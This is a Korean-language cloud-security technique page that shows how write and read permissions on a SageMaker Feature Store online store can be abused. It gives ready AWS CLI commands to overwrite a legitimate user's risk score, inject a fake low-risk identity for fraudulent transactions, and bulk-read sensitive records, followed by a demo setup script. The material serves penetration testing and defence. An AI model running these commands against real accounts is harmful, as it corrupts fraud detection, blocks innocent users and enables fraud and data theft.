SageMaker Feature Store online store poisoning

Reading time: 5 minutes

sagemaker:PutRecord를 OnlineStore가 활성화된 Feature Group에 대해 악용하여 온라인 추론에서 사용되는 실시간 feature 값을 덮어쓸 수 있습니다. sagemaker:GetRecord와 결합하면 공격자는 민감한 feature 값을 읽을 수 있습니다. 이는 모델이나 엔드포인트에 대한 접근을 요구하지 않습니다.

요구 사항

• 권한: sagemaker:ListFeatureGroups, sagemaker:DescribeFeatureGroup, sagemaker:PutRecord, sagemaker:GetRecord
• 대상: OnlineStore가 활성화된 Feature Group (일반적으로 실시간 추론을 지원)
• 복잡도: LOW - 간단한 AWS CLI 명령, 모델 조작 불필요

단계

정찰

1. OnlineStore가 활성화된 Feature Group 목록 나열

REGION=${REGION:-us-east-1}
aws sagemaker list-feature-groups \
--region $REGION \
--query "FeatureGroupSummaries[?OnlineStoreConfig!=null].[FeatureGroupName,CreationTime]" \
--output table

2. 대상 Feature Group의 스키마를 파악하기 위해 설명합니다

FG=<feature-group-name>
aws sagemaker describe-feature-group \
--region $REGION \
--feature-group-name "$FG"

RecordIdentifierFeatureName, EventTimeFeatureName 및 모든 feature 정의를 확인하세요. 이는 유효한 레코드를 작성하는 데 필요합니다.

공격 시나리오 1: Data Poisoning (Overwrite Existing Records)

1. 현재 정상 레코드 읽기

aws sagemaker-featurestore-runtime get-record \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-value-as-string user-001

2. 인라인 --record 파라미터를 사용해 레코드를 악성 값으로 Poison

NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)

# Example: Change risk_score from 0.15 to 0.99 to block a legitimate user
aws sagemaker-featurestore-runtime put-record \
--region $REGION \
--feature-group-name "$FG" \
--record "[
{\"FeatureName\": \"entity_id\", \"ValueAsString\": \"user-001\"},
{\"FeatureName\": \"event_time\", \"ValueAsString\": \"$NOW\"},
{\"FeatureName\": \"risk_score\", \"ValueAsString\": \"0.99\"},
{\"FeatureName\": \"transaction_amount\", \"ValueAsString\": \"125.50\"},
{\"FeatureName\": \"account_status\", \"ValueAsString\": \"POISONED\"}
]" \
--target-stores OnlineStore

3. poisoned data를 검증

aws sagemaker-featurestore-runtime get-record \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-value-as-string user-001

Impact: 이 피처를 사용하는 ML 모델은 정당한 사용자에 대해 risk_score=0.99를 보게 되어 거래나 서비스가 차단될 수 있습니다.

공격 시나리오 2: Malicious Data Injection (Create Fraudulent Records)

보안 통제를 회피하기 위해 조작된 피처로 완전히 새로운 레코드를 주입합니다:

NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)

# Create fake user with artificially low risk to perform fraudulent transactions
aws sagemaker-featurestore-runtime put-record \
--region $REGION \
--feature-group-name "$FG" \
--record "[
{\"FeatureName\": \"entity_id\", \"ValueAsString\": \"user-999\"},
{\"FeatureName\": \"event_time\", \"ValueAsString\": \"$NOW\"},
{\"FeatureName\": \"risk_score\", \"ValueAsString\": \"0.01\"},
{\"FeatureName\": \"transaction_amount\", \"ValueAsString\": \"999999.99\"},
{\"FeatureName\": \"account_status\", \"ValueAsString\": \"approved\"}
]" \
--target-stores OnlineStore

injection을 확인하세요:

aws sagemaker-featurestore-runtime get-record \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-value-as-string user-999

Impact: 공격자는 낮은 위험 점수(0.01)를 가진 가짜 신원을 만들어 사기 탐지를 촉발하지 않고 고액의 부정 거래를 수행할 수 있습니다.

Attack Scenario 3: Sensitive Data Exfiltration

여러 레코드를 읽어 기밀 특성을 추출하고 모델 동작을 프로파일링합니다:

# Exfiltrate data for known users
for USER_ID in user-001 user-002 user-003 user-999; do
echo "Exfiltrating data for ${USER_ID}:"
aws sagemaker-featurestore-runtime get-record \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-value-as-string ${USER_ID}
done

Impact: 기밀 기능(위험 점수, 거래 패턴, 개인 데이터)이 공격자에게 노출됩니다.

Testing/Demo Feature Group 생성(선택 사항)

테스트 Feature Group을 생성해야 하는 경우:

REGION=${REGION:-us-east-1}
FG=$(aws sagemaker list-feature-groups --region $REGION --query "FeatureGroupSummaries[?OnlineStoreConfig!=null]|[0].FeatureGroupName" --output text)
if [ -z "$FG" -o "$FG" = "None" ]; then
ACC=$(aws sts get-caller-identity --query Account --output text)
FG=test-fg-$ACC-$(date +%s)
ROLE_ARN=$(aws iam get-role --role-name AmazonSageMaker-ExecutionRole --query Role.Arn --output text 2>/dev/null || echo arn:aws:iam::$ACC:role/service-role/AmazonSageMaker-ExecutionRole)

aws sagemaker create-feature-group \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-feature-name entity_id \
--event-time-feature-name event_time \
--feature-definitions "[
{\"FeatureName\":\"entity_id\",\"FeatureType\":\"String\"},
{\"FeatureName\":\"event_time\",\"FeatureType\":\"String\"},
{\"FeatureName\":\"risk_score\",\"FeatureType\":\"Fractional\"},
{\"FeatureName\":\"transaction_amount\",\"FeatureType\":\"Fractional\"},
{\"FeatureName\":\"account_status\",\"FeatureType\":\"String\"}
]" \
--online-store-config "{\"EnableOnlineStore\":true}" \
--role-arn "$ROLE_ARN"

echo "Waiting for feature group to be in Created state..."
for i in $(seq 1 40); do
ST=$(aws sagemaker describe-feature-group --region $REGION --feature-group-name "$FG" --query FeatureGroupStatus --output text || true)
echo "$ST"; [ "$ST" = "Created" ] && break; sleep 15
done
fi

echo "Feature Group ready: $FG"

참고자료

• AWS SageMaker Feature Store Documentation
• Feature Store Security Best Practices